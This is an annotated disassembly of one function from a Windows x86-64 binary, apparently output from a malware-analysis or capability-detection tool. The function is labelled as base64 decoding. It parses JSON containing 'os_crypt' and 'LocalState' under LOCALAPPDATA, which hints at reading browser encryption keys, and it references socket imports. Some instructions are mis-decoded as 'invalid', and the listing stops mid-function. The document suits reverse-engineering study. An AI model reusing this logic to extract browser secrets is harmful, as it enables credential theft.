Function at 0x14003c42d
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x3f8
mov r15, rdx
mov r12, rcx
lea rsi, [rdx + 0x60]
mov rcx, qword [rdx + 0x60]
mov rdx, qword [rdx + 0x68]
lea r8, [0x1402eb186]
mov r9d, 9
call fcn.14006436c
mov ecx, eax
xor cl, 1
movzx ecx, cl
lea r9, [rcx + rcx*8]
add r9, 0xc
lea rcx, [0x1402eb1a4]
lea r8, [0x1402eb18f]
test al, al
cmovne r8, rcx
lea rdi, [rsp + 0x80]
mov rcx, rdi
mov rdx, rsi
call fcn.140062f4a
movabs rax, 0x8000000000000000
movabs r14, 0x8000000000000019
cmp qword [rdi], rax
mov qword [rsp + 0x30], r15
jne 0x14003c4e8
movups xmm0, xmmword [rsp + 0x88]
lea rcx, [rsp + 0x130]
movups xmmword [rcx], xmm0
call fcn.14000966c
movabs rax, 0x8000000000000012
mov qword [rsp + 0x270], rax
jmp 0x14003cc3b
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
lea rcx, [rsp + 0x2e0]
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx], xmm0
call fcn.1400af1b7
mov rsi, rdx
test rax, rax
je 0x14003c529
lea rcx, [rsp + 0x270]
mov rdx, rsi
call fcn.140040a55
jmp 0x14003cb21
lea rdi, [rsp + 0x80]
mov edx, 0x2000
mov rcx, rdi
call fcn.1400ebbcb
cmp qword [rdi], 0
jne 0x14003f36c
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 0x2000
xorps xmm0, xmm0
and qword [rsp + 0x150], 0
movups xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x158], rsi
cmp qword [r15 + 0x10], 0
je 0x14003c5c6
lea rdx, [rsp + 0x1e0]
and qword [rdx], 0
mov qword [rdx + 8], 1
and qword [rdx + 0x10], 0
lea rcx, [rsp + 0x130]
call fcn.1400af6f4
test rax, rax
je 0x14003c636
mov rsi, rdx
mov rdi, qword [rsp + 0x1e8]
jmp 0x14003c666
lea rcx, [rsp + 0x130]
mov rdx, r15
call fcn.1400af6f4
mov rbx, rax
mov r13, r14
mov r14, rdx
mov rdi, qword [r15 + 8]
mov rax, qword [rsp + 0x30]
mov r15, qword [rax + 0x10]
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, rdi
mov r8, r15
call fcn.14006a560
mov rcx, qword [rsi]
test rbx, rbx
lea rsi, [0x1402e7f88]
cmovne rsi, r14
xor eax, eax
test rcx, rcx
cmove rax, r15
mov r15, qword [rsp + 0x30]
cmove rsi, r14
mov r14, r13
mov qword [r15 + 0x10], rax
or rcx, rbx
jne 0x14003c676
jmp 0x14003c6be
mov rdi, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f0]
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, rdi
call fcn.14006a560
cmp qword [rsi], 0
je 0x14003c68b
lea rsi, [0x1402e7f88]
mov rcx, qword [rsp + 0x1e0]
mov rdx, rdi
call fcn.1400a3a56
lea rcx, [rsp + 0x270]
mov rdx, rsi
call fcn.140040a55
jmp 0x14003cb14
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
add r8, rdx
mov rcx, r15
call fcn.14017a257
mov rcx, qword [rsp + 0x1e0]
mov rdx, rdi
call fcn.1400a3a56
mov rdi, qword [r15 + 8]
mov rax, qword [r15 + 0x10]
lea rdx, [rsp + 0x80]
mov qword [rdx + 0x18], rdi
mov qword [rdx + 0x20], rax
and qword [rdx + 0x28], 0
and qword [rdx], 0
mov qword [rdx + 8], 1
and qword [rdx + 0x10], 0
mov byte [rdx + 0x30], 0x80
lea rsi, [rsp + 0x100]
mov rcx, rsi
call fcn.140002b50
cmp byte [rsi], 0
je 0x14003c70a
mov rbx, qword [rsp + 0x108]
jmp 0x14003cadd
cmp byte [rsp + 0x101], 0
je 0x14003c9b6
movzx eax, byte [rsp + 0x102]
cmp eax, 0x5b
je 0x14003c8b0
cmp eax, 0x7b
jne 0x14003caab
dec byte [rsp + 0xb0]
je 0x14003ca80
mov qword [rsp + 0x38], r12
lea rdi, [rsp + 0x98]
inc qword [rdi + 0x10]
xor ebp, ebp
lea rbx, [rsp + 0x100]
lea r15, [rsp + 0x80]
lea r12, [rsp + 0x1e0]
lea r13, str.os_cryptstruct_LocalStatestruct_LocalState_with_1_element
xor r14d, r14d
mov rcx, rbx
mov rdx, r15
call fcn.140002b50
cmp byte [rsp + 0x100], 0
jne 0x14003c98a
cmp byte [rsp + 0x101], 0
je 0x14003f22a
mov al, byte [rsp + 0x102]
movzx ecx, al
cmp ecx, 0x2c
je 0x14003c7be
cmp ecx, 0x7d
je 0x14003c9ca
test byte [rdi], dl
add al, byte [rax]
invalid
test bpl, 1
je 0x14003c7fa
jmp 0x14003f273
test bpl, 1
je 0x14003c7fa
inc qword [rsp + 0xa8]
mov rcx, r12
mov rdx, r15
call fcn.140002b50
cmp byte [rsp + 0x1e0], 0
jne 0x14003f1c6
cmp byte [rsp + 0x1e1], 0
je 0x14003f2aa
mov al, byte [rsp + 0x1e2]
cmp al, 0x22
jne 0x14003f1d3
inc qword [rsp + 0xa8]
and qword [rsp + 0x90], 0
mov rcx, r12
mov rdx, rdi
mov r8, r15
call fcn.14010f18e
cmp dword [rsp + 0x1e0], 2
mov rcx, qword [rsp + 0x1e8]
je 0x14003c992
mov rdx, qword [rsp + 0x1f0]
mov r9d, 8
mov r8, r13
call fcn.14006436c
test al, al
jne 0x14003c86a
mov rcx, r15
call fcn.1400190a4
mov bpl, 1
test rax, rax
je 0x14003c774
jmp 0x14003c9a4
test r14, r14
jne 0x14003f2ce
mov rcx, r15
call fcn.140002c22
test rax, rax
jne 0x14003f2df
mov rcx, r12
mov rdx, r15
call fcn.14003812d
mov r14, qword [rsp + 0x1e0]
test r14, r14
je 0x14003f2a0
mov rsi, qword [rsp + 0x1e8]
mov bpl, 1
jmp 0x14003c774
dec byte [rsp + 0xb0]
je 0x14003ca80
lea rdx, [rsp + 0x80]
inc qword [rdx + 0x28]
inc dword [rdx + 0x28]
lea rsi, [rsp + 0x100]
mov rcx, rsi
call fcn.140002b50
cmp byte [rsi], 0
je 0x14003c8ea
mov rsi, qword [rsp + 0x108]
xor ebx, ebx
jmp 0x14003c932
cmp byte [rsp + 0x101], 0
je 0x14003f1f6
cmp byte [rsp + 0x102], 0x5d
je 0x14003f214
lea rsi, [rsp + 0x1e0]
lea rdx, [rsp + 0x80]
mov rcx, rsi
call fcn.14003812d
mov rbx, qword [rsi]
test rbx, rbx
je 0x14003ca9e
mov rsi, qword [rsp + 0x1e8]
lea rcx, [rsp + 0x80]
inc byte [rcx + 0x30]
call fcn.14010ff05
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], rsi
mov qword [rsp + 0x1f0], rax
test rbx, rbx
je 0x14003c971
xor edi, edi
test rax, rax
cmove rdi, rbx
cmovne rsi, rax
jmp 0x14003ca37
test rax, rax
je 0x14003c983
lea rcx, [rsp + 0x1f0]
call fcn.140009c2e
xor edi, edi
jmp 0x14003ca37
mov rcx, qword [rsp + 0x108]
mov r12, qword [rsp + 0x38]
mov r15, qword [rsp + 0x30]
xor r14d, r14d
mov rsi, rcx
jmp 0x14003c9dd
xor r14d, r14d
mov rsi, rax
mov r12, qword [rsp + 0x38]
mov r15, qword [rsp + 0x30]
jmp 0x14003c9dd
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 5
jmp 0x14003ca8f
test r14, r14
mov r12, qword [rsp + 0x38]
mov r15, qword [rsp + 0x30]
je 0x14003f284
lea rcx, [rsp + 0x80]
inc byte [rcx + 0x30]
call fcn.140002cd1
mov qword [rsp + 0x1e0], r14
mov qword [rsp + 0x1e8], rsi
mov qword [rsp + 0x1f0], rax
test r14, r14
je 0x14003ca19
xor edi, edi
test rax, rax
cmove rdi, r14
cmovne rsi, rax
jmp 0x14003ca2d
test rax, rax
je 0x14003ca2b
lea rcx, [rsp + 0x1f0]
call fcn.140009c2e
xor edi, edi
movabs r14, 0x8000000000000019
test rdi, rdi
je 0x14003caca
lea rcx, [rsp + 0x80]
call fcn.140002c86
invalid
cld
dec dword [rax - 0x77]
ret
test rax, rax
jne 0x14003cadd
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
call fcn.1400a3a56
lea rcx, [rsp + 0x130]
call fcn.14000b341
jmp 0x14003cb3f
lea rdx, [rsp + 0x1e0]
mov qword [rdx], reloc.WS2_32.dll_setsockopt
invalid
invalid
add byte [rax], al
invalid
lea rcx, [rsp + 0x80]
call fcn.1402e2afc
jmp 0x14003cada
mov rsi, qword [rsp + 0x1e8]
jmp 0x14003c8e6
lea r8, [0x1402eacd0]
lea rcx, [rsp + 0x80]
add byte [rax], 0
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xc0
add dword [rax], eax
add al, ch
sub ebx, dword [rdx]
sub al, byte [rax]
mov rsi, rax
lea rdx, [rsp + 0x80]
mov rcx, rsi
call fcn.1402e2b38
mov rbx, rax
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
call fcn.1400a3a56
movabs rax, 0x8000000000000017
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x278], rbx
mov qword [rsp + 0x280], rbx
lea rcx, [rsp + 0x130]
call fcn.14000b341
cmp qword [rsp + 0x270], r14
jne 0x14003cc3b
mov rdi, qword [rsp + 0x278]
mov rsi, qword [rsp + 0x280]
lea rbx, [rsp + 0x130]
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.140124d11
mov rbp, qword [rbx + 0x10]
lea rax, [rbp*4]
mov ecx, 3
xor edx, edx
div rcx
lea rcx, [rsp + 0x80]
mov rdx, rax
call fcn.140015b49
mov rdi, rbp
add rdi, 7
jb 0x14003f2ea
mov rsi, qword [rsp + 0x90]
shr rdi, 3
imul rdx, rdi, 6
add rdx, rsi
jb 0x14003f302
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x40], rax
mov r13, qword [rsp + 0x138]
lea rbx, [rsp + 0x80]
mov rcx, rbx
call fcn.1400c6e9a
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
lea r9, [0x1402e9dd0]
mov qword [rsp + 0x360], rsi
mov rcx, rsi
call fcn.1400775e0
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], rdx
mov eax, ebp
and eax, 7
cmp rax, 5
ja case.default.0x14003cc0c
lea rcx, [0x1403d8fd0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov dil, 1
sub rbp, 1
jb 0x14003cc34
movzx esi, byte [r13 + rbp]
cmp rsi, 0x3d
je 0x14003cc34
lea rax, [0x1402e9a28]
cmp byte [rsi + rax], 0xff
je 0x14003e212
xor ebx, ebx
jmp 0x14003e7b2
lea rcx, [rsp + 0x270]
call fcn.14000ac9b
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, r15
call fcn.14003b345
mov rcx, qword [rsi]
mov r8, qword [rsi + 8]
mov rbp, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
cmp rcx, r14
jne 0x14003cd80
mov qword [rsp + 0x38], r12
imul r13, rax, 0x48
mov rax, rbp
add rax, r13
mov qword [rsp + 0x1e0], rbp
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x1f0], r8
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x1f8], rax
xor r14d, r14d
lea r15, [rsp + 0x2e0]
lea r12, [rsp + 0x130]
mov rbx, rbp
cmp r13, r14
je 0x14003cda5
lea rax, [r14 + rbp]
mov qword [rsp + 0x80], rbp
mov qword [rsp + 0x88], rbx
mov ecx, 9
lea rdi, [rsp + 0x90]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0xd0], 0
je 0x14003cd6a
cmp qword [rsp + 0xa0], 0
je 0x14003cd6a
mov ecx, 9
mov rdi, r15
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, r12
mov rdx, r15
call fcn.140044d41
lea rsi, [rsp + 0x270]
mov rcx, rsi
mov rdx, r12
xor r8d, r8d
call fcn.14004056c
mov rcx, r12
mov rdx, rsi
call fcn.14000c0ff
mov rcx, r15
call fcn.14000ad2c
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x130], rax
je 0x14003cd77
mov ecx, 9
mov rdi, rbx
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
add rbx, 0x48
jmp 0x14003cd77
lea rcx, [rsp + 0x90]
call fcn.14000ad2c
add r14, 0x48
jmp 0x14003ccba
mov rdx, qword [rsp + 0xa0]
mov qword [r12], rcx
mov qword [r12 + 8], r8
mov qword [r12 + 0x10], rbp
mov qword [r12 + 0x18], rax
mov qword [r12 + 0x20], rdx
jmp 0x14003f02e
lea rsi, [rsp + 0x1e0]
mov rax, qword [rsp + 0x58]
mov qword [rsi + 8], rax
sub rbx, rbp
mov ecx, 0x48
mov rax, rbx
xor edx, edx
div rcx
mov rdi, rax
mov rcx, rsi
call fcn.140015f4a
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x260], rbp
mov qword [rsp + 0x268], rdi
mov rcx, rsi
call fcn.14000853c
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, qword [rsp + 0x30]
call fcn.14003beab
mov rcx, qword [rsi]
mov r9, qword [rsi + 8]
mov rbp, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
movabs rdx, 0x8000000000000019
cmp rcx, rdx
jne 0x14003cf51
imul r12, rax, 0x70
lea rax, [r12 + rbp]
mov qword [rsp + 0x1e0], rbp
mov qword [rsp + 0x58], r9
mov qword [rsp + 0x1f0], r9
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x1f8], rax
lea r15, [rsp + 0x90]
xor r14d, r14d
lea r13, [rsp + 0x130]
mov rbx, rbp
mov qword [rsp + 0x50], r12
cmp r12, r14
je 0x14003cf76
lea rax, [r14 + rbp]
mov qword [rsp + 0x80], rbp
mov qword [rsp + 0x88], rbx
mov ecx, recvfrom
mov rdi, r15
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0xd0], 0
je 0x14003cf40
cmp qword [rsp + 0xa0], 0
je 0x14003cf40
mov r12, r15
mov ecx, recvfrom
lea r15, [rsp + 0x2e0]
mov rdi, r15
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, r13
mov rdx, r15
call fcn.140044d85
lea rsi, [rsp + 0x270]
mov rcx, rsi
mov rdx, r13
xor r8d, r8d
call fcn.1400408aa
mov rcx, r13
mov rdx, rsi
call fcn.14000c12e
mov rcx, r15
call fcn.140009acf
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x130], rax
je 0x14003cf2e
mov ecx, recvfrom
mov rdi, rbx
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
add rbx, 0x70
mov r15, r12
lea r13, [rsp + 0x130]
mov r12, qword [rsp + 0x50]
jmp 0x14003cf48
mov rcx, r15
call fcn.140009acf
add r14, 0x70
jmp 0x14003ce72
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x38]
mov qword [r8], rcx
mov qword [r8 + 8], r9
mov qword [r8 + 0x10], rbp
mov qword [r8 + 0x18], rax
mov qword [r8 + 0x20], rdx
jmp 0x14003d177
lea rsi, [rsp + 0x1e0]
mov rax, qword [rsp + 0x70]
mov qword [rsi + 8], rax
sub rbx, rbp
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov rax, rbx
xor edx, edx
div rcx
mov rdi, rax
mov rcx, rsi
call fcn.140015fa4
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], rbp
mov qword [rsp + 0x1d0], rdi
mov rcx, rsi
call fcn.1400084f1
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, qword [rsp + 0x30]
call fcn.14003b8d9
mov rax, qword [rsi]
mov r8, qword [rsi + 8]
mov r12, qword [rsi + 0x10]
mov r13, qword [rsi + 0x18]
movabs rcx, 0x8000000000000019
cmp rax, rcx
jne 0x14003d14a
shl r13, 6
lea rax, [r12 + r13]
mov qword [rsp + 0x1e0], r12
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x1f0], r8
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x1f8], rax
xor r14d, r14d
lea rsi, [rsp + 0x130]
lea rdi, [rsp + 0x2e0]
lea rbx, [rsp + 0x270]
mov rbp, r12
cmp r13, r14
je 0x14003d189
lea rax, [r12 + r14]
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x88], rbp
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movups xmmword [r15 + 0x30], xmm3
movups xmmword [r15 + 0x20], xmm2
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
cmp qword [rsp + 0xa0], 0
je 0x14003d139
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x310], xmm3
movaps xmmword [rsp + 0x300], xmm2
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x2e0], xmm0
mov rcx, rsi
mov rdx, rdi
call fcn.140044de0
mov rcx, rbx
mov rdx, rsi
xor r8d, r8d
call fcn.1400406fa
mov rcx, rsi
mov rdx, rbx
call fcn.14000c1e9
mov rcx, rdi
call fcn.14000a5da
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x130], rax
je 0x14003d141
movups xmm0, xmmword [rsp + 0x130]
movups xmm1, xmmword [rsp + 0x140]
movups xmm2, xmmword [rsp + 0x150]
movups xmm3, xmmword [rsp + 0x160]
movups xmmword [rbp + 0x30], xmm3
movups xmmword [rbp + 0x20], xmm2
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp], xmm0
add rbp, 0x40
jmp 0x14003d141
mov rcx, r15
call fcn.14000a5da
add r14, 0x40
jmp 0x14003d046
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x38]
mov qword [rdx], rax
mov qword [rdx + 8], r8
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r13
mov qword [rdx + 0x20], rcx
lea rcx, [rsp + 0x1c0]
call fcn.14000b588
lea rcx, [rsp + 0x258]
call fcn.14000b5f3
jmp 0x14003f02e
lea rdi, [rsp + 0x1e0]
mov rax, qword [rsp + 0x58]
mov qword [rdi + 8], rax
sub rbp, r12
shr rbp, 6
mov rcx, rdi
call fcn.140015ef9
lea rsi, [rsp + 0x100]
mov rax, qword [rsp + 0x50]
mov qword [rsi], rax
mov qword [rsi + 8], r12
mov qword [rsi + 0x10], rbp
mov rcx, rdi
call fcn.1400084af
mov r14, qword [rsp + 0x30]
lea rcx, [r14 + 0x18]
lea rdi, [rsp + 0x258]
mov rdx, rdi
call fcn.140015df8
lea rcx, [r14 + 0x30]
lea rbx, [rsp + 0x1c0]
mov rdx, rbx
call fcn.140015cf7
lea rcx, [r14 + 0x48]
mov rdx, rsi
call fcn.140015bf3
mov rax, qword [r14 + 0x28]
add qword [section..data], rax
mov rax, qword [r14 + 0x58]
add qword [reloc.WS2_32.dll_accept], rax
mov rcx, rsi
call fcn.14000b754
mov rcx, rbx
call fcn.14000b588
mov rcx, rdi
call fcn.14000b5f3
lea rdx, str.LOCALAPPDATA
lea rsi, [rsp + 0x130]
mov r8d, listen
mov rcx, rsi
call fcn.140118c90
movabs rax, 0x8000000000000001
cmp qword [rsi], rax
jne 0x14003f42a
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x1d0], rax
movups xmm0, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0x1c0], xmm0
mov rsi, qword [r14 + 0x20]
mov rbx, qword [r14 + 0x28]
lea rdi, [rsp + 0x80]
mov rcx, rdi
mov rdx, rbx
call fcn.1400d4826
cmp qword [rdi], 0
mov rcx, qword [rdi + 8]
jne 0x14003f374
mov rax, qword [rsp + 0x90]
lea rdi, [rsp + 0x2e0]
mov qword [rdi], rcx
mov qword [rdi + 8], rax
and qword [rdi + 0x10], 0
mov rcx, rdi
mov rdx, rbx
call fcn.140129b7c
mov r8, qword [rdi + 0x10]
test rbx, rbx
je 0x14003d3be
mov qword [rsp + 0x50], r8
imul rdi, r8, 0x18
add rdi, qword [rsp + 0x2e8]
neg rbx
xor ebp, ebp
lea r15, [fcn.14001a6d2]
mov r14d, 3
lea r12, [rsp + 0x270]
lea r13, [rsp + 0x130]
lea rax, [rsi + 0x18]
lea rcx, [rsi + 0x30]
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], r15
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], r15
lea rax, reloc.WS2_32.dll_accept
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], r14
and qword [rsp + 0x150], 0
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xa8], r15
lea rax, [rsp + 0x80]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], r14
mov rcx, r12
mov rdx, r13
call fcn.1400159d1
mov rax, qword [rsp + 0x280]
mov qword [rdi + 0x10], rax
movups xmm0, xmmword [rsp + 0x270]
movups xmmword [rdi], xmm0
dec rbp
add rdi, 0x18
add rsi, 0x48
cmp rbx, rbp
jne 0x14003d310
mov r8, qword [rsp + 0x50]
sub r8, rbp
movups xmm0, xmmword [rsp + 0x2e0]
lea rbx, [rsp + 0x80]
movaps xmmword [rbx], xmm0
mov qword [rbx + 0x10], r8
mov rdx, qword [rbx + 8]
lea r14, [rsp + 0x100]
mov rcx, r14
call fcn.140129e08
mov rcx, rbx
call fcn.140084129
lea rbx, reloc.WS2_32.dll_ioctlsocket
lea r15, [0x1403a82f9]
mov rcx, r14
mov rdx, rbx
mov r8, r15
call fcn.14017a257
mov rcx, r14
mov rdx, rbx
mov r8, r15
call fcn.14017a257
lea r14, [rsp + 0x1e0]
mov edx, 1
mov rcx, r14
xor r8d, r8d
call fcn.140124d11
mov rcx, r14
mov rdx, rbx
mov r8, r15
call fcn.14017a257
mov r15, qword [rsp + 0x30]
mov rbp, qword [r15 + 0x38]
mov rbx, qword [r15 + 0x40]
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, rbx
call fcn.1400d4826
cmp qword [rsi], 0
mov rcx, qword [rsi + 8]
jne 0x14003f374
mov rax, qword [rsp + 0x90]
lea r14, [rsp + 0x380]
mov qword [r14], rcx
mov qword [r14 + 8], rax
and qword [r14 + 0x10], 0
mov rcx, r14
mov rdx, rbx
call fcn.140129b7c
mov r8, qword [r14 + 0x10]
test rbx, rbx
je 0x14003d62f
mov qword [rsp + 0x50], r8
imul rsi, r8, 0x18
add rsi, qword [rsp + 0x388]
neg rbx
xor r12d, r12d
lea rdi, [fcn.14001a6d2]
mov r15d, 6
lea r14, [rsp + 0x270]
lea r13, [rsp + 0x130]
mov rax, qword [rbp + 0x68]
test rax, rax
je 0x14003d4fc
cmp rax, 1
jne 0x14003d512
lea rax, [0x1402eb5dd]
mov qword [rsp + 0x2e0], rax
mov eax, 4
jmp 0x14003d526
lea rax, str.FALSETRUEUNKNOWN_t_tFALSE_t
mov qword [rsp + 0x2e0], rax
mov eax, 5
jmp 0x14003d526
lea rax, [0x1402eb5e1]
mov qword [rsp + 0x2e0], rax
mov eax, 7
mov qword [rsp + 0x2e8], rax
lea rax, [rbp + 0x60]
lea rcx, [rbp + 0x18]
lea rdx, [rbp + 0x30]
lea r8, [rbp + 0x48]
mov qword [rsp + 0x80], rbp
mov qword [rsp + 0x88], rdi
lea r9, [rsp + 0x2e0]
mov qword [rsp + 0x90], r9
lea r9, [fcn.140062ef4]
mov qword [rsp + 0x98], r9
mov qword [rsp + 0xa0], r8
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0xb0], rax
lea rax, [fcn.140072970]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], rdi
lea rax, reloc.WS2_32.dll_accept
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], r15
and qword [rsp + 0x150], 0
mov qword [rsp + 0xd0], rdx
mov qword [rsp + 0xd8], rdi
lea rax, [rsp + 0x80]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], r15
mov rcx, r14
mov rdx, r13
call fcn.1400159d1
mov rax, qword [rsp + 0x280]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rsp + 0x270]
movups xmmword [rsi], xmm0
dec r12
add rsi, 0x18
add rbp, 0x70
cmp rbx, r12
jne 0x14003d4d7
mov r8, qword [rsp + 0x50]
sub r8, r12
mov r15, qword [rsp + 0x30]
lea rdi, [rsp + 0x380]
mov qword [rdi + 0x10], r8
mov rdx, qword [rdi + 8]
lea rbx, [rsp + 0x80]
mov rcx, rbx
call fcn.140129e08
mov r14, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
add r8, r14
lea rcx, [rsp + 0x1e0]
mov rdx, r14
call fcn.14017a257
mov rcx, qword [rbx]
mov rdx, r14
call fcn.1400a3a56
mov rcx, rdi
call fcn.140084129
lea rcx, [rsp + 0x2e0]
mov edx, 1
xor r8d, r8d
call fcn.140124d11
mov rsi, qword [r15 + 0x50]
mov rdi, qword [r15 + 0x58]
lea rbx, [rsp + 0x80]
mov rcx, rbx
mov rdx, rdi
call fcn.1400d4826
add byte [rax - 0x7d], cl
cmp eax, dword [rax]
mov rcx, qword [rbx + 8]
mov r15, qword [rsp + 0x38]
mov eax, 0xa
jmp case.default.0x14003cc0c
mov eax, 8
jmp case.default.0x14003cc0c
mov eax, listen
jmp case.default.0x14003cc0c
mov eax, listen
xor r15d, r15d
mov rbx, rbp
sub rbx, rax
cmovb rbx, r15
cmp rbx, 0x20
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x60], rbp
jb 0x14003e077
lea rcx, [rbx - 0x20]
mov r15d, 0x20
xor esi, esi
lea r8, [0x1402e9c00]
lea r12, [0x1402e9a28]
mov qword [rsp + 0x250], rbx
mov qword [rsp + 0x358], rcx
lea rax, [r15 - 0x20]
cmp rax, rcx
ja 0x14003e588
test r15, r15
je 0x14003f403
mov qword [rsp + 0x48], rax
cmp r15, rbp
ja 0x14003f418
lea rdx, [rsi + 0x1a]
mov qword [rsp + 0x20], r8
mov qword [rsp + 0x78], rsi
mov rcx, rsi
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x50]
call fcn.140001ebc
mov r8, rdx
xor ecx, ecx
mov r14, rax
mov rdx, rax
mov qword [rsp + 0x128], r8
lea r9, [0x1402e9c18]
call fcn.1400775e0
movzx esi, byte [r13 + r15 - 0x20]
movzx ecx, byte [rsi + r12]
cmp rcx, 0xff
je 0x14003e591
movzx esi, byte [r13 + r15 - 0x1f]
movzx r10d, byte [rsi + r12]
cmp r10, 0xff
je 0x14003e59d
movzx esi, byte [r13 + r15 - 0x1e]
movzx r11d, byte [rsi + r12]
cmp r11, 0xff
je 0x14003e5ab
movzx esi, byte [r13 + r15 - 0x1d]
movzx r9d, byte [rsi + r12]
cmp r9, 0xff
je 0x14003e5b9
movzx esi, byte [r13 + r15 - 0x1c]
movzx ebx, byte [rsi + r12]
cmp rbx, 0xff
je 0x14003e5c7
mov qword [rsp + 0x70], rdi
movzx esi, byte [r13 + r15 - 0x1b]
movzx edi, byte [rsi + r12]
cmp rdi, 0xff
je 0x14003e5d5
movzx esi, byte [r13 + r15 - 0x1a]
mov rbp, r13
movzx r13d, byte [rsi + r12]
cmp r13, 0xff
je 0x14003e5e3
movzx esi, byte [rbp + r15 - 0x19]
movzx r8d, byte [rsi + r12]
cmp r8, 0xff
je 0x14003e5f1
shl r10, 0x34
shl rcx, 0x3a
or rcx, r10
shl r11, 0x2e
shl r9, 0x28
or r9, r11
or r9, rcx
shl rbx, 0x22
shl rdi, 0x1c
or rdi, rbx
shl r13d, 0x16
or r13, rdi
or r13, r9
shl r8d, 0x10
or r8, r13
mov rcx, rax
call fcn.14001dc28
mov ecx, 6
mov rdx, r14
mov r8, qword [rsp + 0x128]
lea r9, [0x1402e9c30]
call fcn.1400775e0
movzx esi, byte [rbp + r15 - 0x18]
movzx ecx, byte [rsi + r12]
cmp rcx, 0xff
mov r13, rbp
je 0x14003e64d
movzx esi, byte [r13 + r15 - 0x17]
movzx r10d, byte [rsi + r12]
cmp r10, 0xff
je 0x14003e65b
movzx esi, byte [r13 + r15 - 0x16]
movzx r11d, byte [rsi + r12]
cmp r11, 0xff
je 0x14003e682
movzx esi, byte [r13 + r15 - 0x15]
movzx r9d, byte [rsi + r12]
cmp r9, 0xff
je 0x14003e690
movzx esi, byte [r13 + r15 - 0x14]
movzx edi, byte [rsi + r12]
cmp rdi, 0xff
je 0x14003e69e
movzx esi, byte [r13 + r15 - 0x13]
movzx ebx, byte [rsi + r12]
cmp rbx, 0xff
je 0x14003e6ac
movzx esi, byte [r13 + r15 - 0x12]
mov rbp, r13
movzx r13d, byte [rsi + r12]
cmp r13, 0xff
je 0x14003e6ba
movzx esi, byte [rbp + r15 - 0x11]
movzx r8d, byte [rsi + r12]
cmp r8, 0xff
je 0x14003e6c5
shl r10, 0x34
shl rcx, 0x3a
or rcx, r10
shl r11, 0x2e
shl r9, 0x28
or r9, r11
or r9, rcx
shl rdi, 0x22
shl rbx, 0x1c
or rbx, rdi
shl r13d, 0x16
or r13, rbx
or r13, r9
shl r8d, 0x10
or r8, r13
